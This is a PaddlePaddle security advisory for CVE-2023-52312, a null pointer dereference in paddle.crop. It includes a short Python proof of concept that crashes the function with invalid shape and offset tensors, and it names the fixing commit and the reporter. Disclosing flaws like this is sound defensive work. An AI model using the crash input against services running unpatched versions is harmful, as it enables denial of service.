CVE-2023-52312
Null pointer dereference in paddle.crop
when tensor dims are invalid . The PoC is as follows:
import paddle
import numpy as np
x = paddle.to_tensor(np.random.uniform(0, 10, [2, 2]).astype(np.int32))
shape = paddle.to_tensor([-1, 0], dtype='int32')
offsets = paddle.to_tensor([], dtype='int32')
out = paddle.crop(x, shape, offsets)
We have patched the issue in commit c074de6911944d5d30d28cc7ce2c7099f1c87bce. The fix will be included in PaddlePaddle 2.6.0.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Peng Zhou (zpbrent) from Shanghai University.